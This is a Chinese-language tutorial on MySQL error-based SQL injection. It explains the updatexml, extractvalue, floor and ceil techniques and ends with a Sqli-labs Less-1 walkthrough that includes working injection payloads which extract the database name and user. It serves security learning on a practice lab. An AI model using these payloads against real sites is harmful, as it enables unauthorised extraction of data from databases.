关注这个漏洞的其他相关笔记:SQL 注入漏洞 - 学习手册-CSDN博客
0x01:报错盲注 —— 理论篇
报错盲注(Error-Based Blind SQL Injection)是一种常见的 SQL 注入技术,适用于那些页面不会直接显示后端处理结果的查询方式,比如 delete
、insert
、update
。
报错盲注的攻击原理:攻击者通过向 SQL 查询中注入特定的函数,迫使数据库在执行查询时产生错误,并利用这些错误信息将攻击者所需要的信息回显回来。
0x0101:MySQL 报错盲注 — 相关函数
1. updatexml() — xpath 报错注入
1.1 updatexml() 函数简介
MySQL 中的 updatexml()
函数用于更新 XML 文档的指定部分并返回修改后的文档。在需要更改存储在数据库中的 XML 数据的情况下,它特别有用:
-- updatexml() 语法UPDATEXML(xml_target, xpath_expr, new_xml)-- updatexml() 参数解析xml_target : 将要被修改的 XML 文档xpath_expr : 指定要更新的 XML 文档部分的 XPath 表达式new_xml : 将替换 xpath_expr 指定的现有内容的新 XML 内容
以下是该函数的一个正确的使用示例:
-- 将原 XML 文档中的 <name>John</name> 替换为 <name>Blue17</name>select updatexml('<root><name>John</name></root>', '/root/name', '<name>Blue17</name>');
1.2 updatexml() 报错原理
使用 updatexml()
函数时,如果 xpath_expr
格式出现错误,则 MySQL 将会爆出 xpath
语法错误(xpath syntax),比如下面这个例子:
select updatexml('<root><name>John</name></root>', '<whoami>', '<name>Blue17</name>');
1.3 updatexml() 报错实例
以下是一个使用 updatexml()
函数进行报错注入的攻击实例:
select * from users where id=1 and updatexml(1,concat(0x7e,user(),0x7e),1);
2. extractvalue() — xpath 报错注入
2.1 extractvalue() 函数简介
MySQL 中的 extractvalue()
函数用于从目标 XML 文档中提取和查询指定部分的文档:
-- extractvalue() 语法EXTRACTVALUE(xml_document, xpath_expr)-- extractvalue() 参数解析xml_document : 包含 XML 文档的字符串或者一个列名xpath_expr : 指定要提取的节点的 xpath 表达式
以下是该函数的一个正确的使用示例:
-- 查询 XML 文档中的 /root/name 节点中的值SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '/root/name');
2.2 extractvalue() 报错原理
使用 extractvalue()
函数时,如果 xpath_expr
格式出现错误,则 MySQL 将会爆出 xpath
语法错误(xpath syntax),比如下面这个例子:
SELECT EXTRACTVALUE('<root><name>Blue17</name></root>', '~whoami~');
2.3 extractvalue() 报错实例
以下是一个使用 extractvalue()
函数进行报错注入的攻击示例:
insert into users values(4, 'Blue17', extractvalue(1,concat(0x7e,user(),0x7e)), 4);
3. floor() - 虚表主键重复报错
3.1 floor() 函数简介
MySQL 中的 floor()
函数用户返回小于或等于指定数值的最大整数:
-- floor() 语法
FLOOR(number)-- floor() 参数解析
number : 需要向下取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例:
select floor(4.7);
3.2 floor() 报错原理
floor()
报错注入的原理是 group by
在向临时表中插入数据时,由于 rand()
多次计算导致插入临时表时主键重复,从而报错。又因为报错前 concat()
中的 SQL 语句或者函数被执行,所以该语句报错时抛出的主键是 SQL 语句或函数执行后的结果。
关联函数
rand() / rand(N)
:产生 0~1 (包含 0 和 1)之间的随机数。若指定一个整数参数 N,则它被作用为种子值,用来产生重复序列。
count(*)
:返回表的记录数(行数)
concat()
:将多个字符串连接成一个字符串
group_by
:根据 by 对数据按照指定字段进行分组(去重),会建立一张临时表。
ceil()
:向上取整
3.2.1 floor() 报错需要满足的条件
-
floor()
报错注入在 MySQL 版本 8.0 已失效,据说在 7.3.4nts 中也已经失效了。 -
floor()
报错注入中查询用到的数据表内的数据必须>=3
条。 -
以下函数未被 WAF 过滤:
count(*)、floor() 或 ceil()、rand()、group by
。
3.2.2 floor() 报错原理 - 前置知识
在介绍 floor()
报错原理之前,我们先来了解一下 MySQL 中的 count()
函数与 group by
结合使用时的工作流程。
首先,将下面的语句复制到数据库中,我们先搭建一个用于测试测环境:
-- 创建 users 数据表
CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, uname VARCHAR(50) NOT NULL, pwd VARCHAR(255) NOT NULL
);-- 插入测试数据
insert into users values(1, 'admin', 1);
insert into users values(2, 'admin1', 2);
insert into users values(3, 'admin2', 3);
insert into users values(4, 'admin', 4);
接下来,输入下面的语句,来看一下 count(*)
与 group by
联合使用的结果:
mysql> select uname,count(*) from users group by uname;
+--------+----------+
| uname | count(*) |
+--------+----------+
| admin | 2 |
| admin1 | 1 |
| admin2 | 1 |
+--------+----------+
3 rows in set (0.00 sec)
让我们来分析一下,产生此结果的流程(这对后续理解 floor()
报错注入很重要)。
当 count(*)
和 group by
碰到一起时,MySQL 会建立一个虚拟表,那时的工作流程如下:
首先 MySQL 会建立一个空的虚拟表,key 为主建,不可重复(这里的 key 你可以理解为 分组字段,比如 group by uname
,key 就是分组字段,也就是 uname
),此时的虚表长这样:
key | count(*) |
---|---|
接下来,MySQL 会根据分组字段到虚表的 key 中查询,如果 key 中没有相同的数据,就将该数据添加进虚拟表中,并设置 count 为 1。比如,此时分组字段是 uname
,users
数据表中第一个 uname
值为 admin
,虚表中的 key 中不存在 admin
,所以就将此值直接添加进虚拟表中,并设置 count 为 1,此时的虚拟表长这样:
key | count(*) |
---|---|
admin | 1 |
然后 MySQL 会继续查看 users
数据表的下一个 uname
值,如果该值在虚拟表的 key
中没有,则继续将该值添加进虚拟表中,并设置其 count(*)
值为 1:
key | count(*) |
---|---|
admin | 1 |
admin1 | 1 |
以此类推,直到碰到下一个 uname
的值为 admin 前,虚拟表中的数据如下:
key | count(*) |
---|---|
admin | 1 |
admin1 | 1 |
admin2 | 1 |
如果在虚拟表的 key 中遇到相同的数据,则 MySQL 不会对数据进行插入,而是会对 count(*)
进行加 1 的操作。比如,此时在 users
数据表中又遇到了 uname
值为 admin,该值在虚表中是存在的,所以此时的虚表就变成了如下格式:
key | count(*) |
---|---|
admin | 1 + 1 |
admin1 | 1 |
admin2 | 1 |
流程还是很简单的,下面我们开始真正进入 floor()
报错注入的原理。在此之前,请记住虚表的一个特性:主键不能重复!
3.2.3 group by floor(rand(0) * 2) 报错原理
该语句报错的主要原因如下:
-
group by
产生的虚表中,主键不能重复。 -
rand(0)
函数执行的比 group by 插入虚拟表的速度要快。 -
floor(rand(0) * 2)
结果是存在规律的,规律为:0110110011....
,主要是前五个。
MySQL 官方提示:查询的时候使用
rand()
,该值会被计算多次!这里的计算多次,在
floor()
报错中的理解如下:在使用
group by
时,floor(rand(0) * 2)
会被执行一次,如果虚表中不存在记录,插入虚表时会再执行一次。
为了便于理解,我们先举一个特殊的例子:
-- 01. 随便选择一个数据库,创建一个空表 test
create table test(id int primary key,uname varchar(20)
);-- 02. 插入两条数据,注意,只要插入两条
insert into test values(0, 'admin');
insert into test values(1, 'admin1');-- 03. 查看 test 表中的数据
mysql> select floor(rand(0) * 2),uname,concat(floor(rand(0) * 2), "Look Me") from test;
+--------------------+--------+---------------------------------------+
| floor(rand(0) * 2) | uname | concat(floor(rand(0) * 2), "Look Me") |
+--------------------+--------+---------------------------------------+
| 0 | admin | 0Look Me |
| 1 | admin1 | 1Look Me |
+--------------------+--------+---------------------------------------+
2 rows in set (0.00 sec)-- 04. 反直觉的:rand() + group by
mysql> select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
+---------------------------------------+----------+
| concat(floor(rand(0) * 2), "Look Me") | count(*) |
+---------------------------------------+----------+
| 1Look Me | 2 |
+---------------------------------------+----------+
1 row in set (0.00 sec)
上面 04 实例所展示的结果,是不是与我们的直觉相反,从 03 来看 concat(floor(rand(0) * 2), "Look Me")
查询出来的结果依次是:0Look Me
与 1Look Me
,所以按照道理,在计数时,最终展示的表格内容应该如下:
x | count(*) |
---|---|
0Look Me | 1 |
1Look Me | 1 |
但事实却是,1Look Me
被计数了两次。接下来,我们来理理为什么会出现这种结果。
先来看看下面这条语句的执行结果:
mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+---------------------------------------+
| concat(floor(rand(0) * 2), "Look Me") |
+---------------------------------------+
| 0Look Me |
| 1Look Me |
+---------------------------------------+
2 rows in set (0.00 sec)
当我们为其增加 count(*)
和 group by
后 MySQL 的运算过程如下:
首先,MySQL 会建立一张虚表,concat(floor(rand(0) * 2), "Look Me")
是主键,里面的值不可重复(我们将 concat(floor(rand(0) * 2), "Look Me")
简记为 Key,方便讲解):
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
floor(rand(0) * 2)
结果序列:0110110011....
接下来,MySQL 会读取第一行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 进行了第一次计算 concat(floor(rand(0) * 2), "Look Me")
,得到结果为 0LookMe
。MySQL 发现此值并不在虚表中存在,所以决定将此值插入到虚表中,并设置 count 值为 1。但是,就在 MySQL 准备将计算结果插入虚表时,由于 MySQL 的 Bug,导致 concat(floor(rand(0) * 2), "Look Me")
在插入之前又被计算了一次(第二次计算),导致 MySQL 实际插入的值为 1LookMe
,此时虚表中实际的内容为:
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 1 |
接着,MySQL 读取第二行 Key 的内容和虚表中的 Key 值进行比对,此时,MySQL 第三次计算了 concat(floor(rand(0) * 2), "Look Me")
,得到结果为 1LookMe
,该值在虚表中存在,所以 MySQL 就会直接执行插入操作(因为值在虚表中存在,所以不会触发 rand()
多次计算的 BUG),所以此时虚表展示的最终结果为:
concat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 1+1 |
这就是为什么最终我们看到的,和实际我们想象的不一样的原因。
接下来,我们往测试表中再次插入一条数据,触发 floor()
报错:
insert into test values(2,'admin2');mysql> select concat(floor(rand(0) * 2), "Look Me") from test;
+--------+---------------------------------------+
| uname | concat(floor(rand(0) * 2), "Look Me") |
+--------+---------------------------------------+
| admin | 0Look Me |
| admin1 | 1Look Me |
| admin2 | 1Look Me |
+--------+---------------------------------------+
3 rows in set (0.00 sec)
继续之前的分析,MySQL 读取第三行数据,第四次计算 concat(floor(rand(0) * 2), "Look Me")
的值为 0Look Me
,MySQL 发现虚表中没有该值对应的 Key,所以,准备执行插入操作。但是就在执行插入操作之前,由于 MySQL 的 Bug,其第五次计算了 concat(floor(rand(0) * 2), "Look Me")
,导致实际插入的结果为 1Look Me
,此时的虚表变成了:
xconcat(floor(rand(0) * 2), "Look Me") | count(*) |
---|---|
1Look Me | 2 |
1Look Me | ? |
可以看到,MySQL 认为自己插入的是 0Look Me
,但是由于 Bug,导致实际插入的是 1Look Me
,而 1Look Me
在虚表中是存在的,由于虚表的 Key 唯一的特性,所以 MySQL 此时就会产生报错:
select concat(floor(rand(0) * 2), "Look Me"),count(*) from test group by concat(floor(rand(0) * 2), "Look Me");
3.3 floor() 报错实例
以下是一个使用 floor()
函数进行报错注入的攻击示例:
select concat(0x7e,user(),0x7e,floor(rand(0)*2))x,count(*) from test group by x;
4. ceil() - 虚表主键重复报错
4.1 ceil() 函数简介
MySQL 中的 ceil()
函数用于返回大于或等于指定数值的最小整数:
-- ceil() 语法
CEIL(number)-- ceil() 参数解析
number : 需要向上取整的数值表达式。可以是列名、数值、算数表达式或函数返回值。
以下是该函数的一个正确的使用示例:
select ceil(4.1);
4.2 ceil() 报错原理
ceil()
报错注入的原理与上面讲解的 floor() 报错原理 一致,所以这里就不多说了。
4.3 ceil() 报错实例
以下是一个使用 ceil()
函数进行报错注入的攻击实例:
select concat(0x7e,user(),0x7e,ceil(rand(0)*2))x,count(*) from test group by x;
0x02:报错盲注 —— 实战篇
本节重点在于熟悉报错盲注的注入流程,以及注入原理。练习靶场为 Sqli-labs Less-1 GET - Error based - Single Quotes - String,靶场的配套资源如下(附安装教程):
实验工具准备
PHP 运行环境:phpstudy_x64_8.1.1.3.zip(PHP 7.X + Apache + MySQL)
SQLI LABS 靶场:sqli-labs-php7.zip(安装教程:Sqli-labs Less-1 GET - Error based - Single Quotes - String)
0x0201:第一阶段 — 判断注入点
靶场提示 Please input the ID as parameter with numeric value
要我们输入一个数字型的 ID
作为参数进行查询,那我们就按它的意思传入 id
看看网页返回的结果:
可以看到,服务器返回了对应 id
用户的登录名与登录密码。此时,我们可以再输入几个数据进行测试:
测试 Payload 01: ?id=1 # 结果: Your Login name:Dumb Your Password:Dumb
测试 Payload 02: ?id=2 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 03: ?id=2-1 # 结果: Your Login name:Angelina Your Password:I-kill-you
测试 Payload 04: ?id=1' # 结果: 报错
可以看到,当我们传递 Payload 04 给服务器后端时,页面显示了报错信息,并且还返回了部分后端的查询模板。
0x0202:第二阶段 — 报错盲注漏洞利用
既然能显示报错信息,那么本关我们就可以直接使用报错注入(使用 Union 联合注入也是可以的,但是,从本关的名称 Error based
就可以看出,本关的考点是报错注入),攻击 Payload 如下:
-- 获取当前服务器正在使用的数据库的名称
攻击 Payload: ?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+'
笔者备注: 0x7e 是字符 ~ 号,用于标识服务器报出来的数据。
可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。以上,就是报错盲注的基本利用方式。后面想查啥,直接往报错注入的回显点里写就可以了,笔者在这里就不多说了。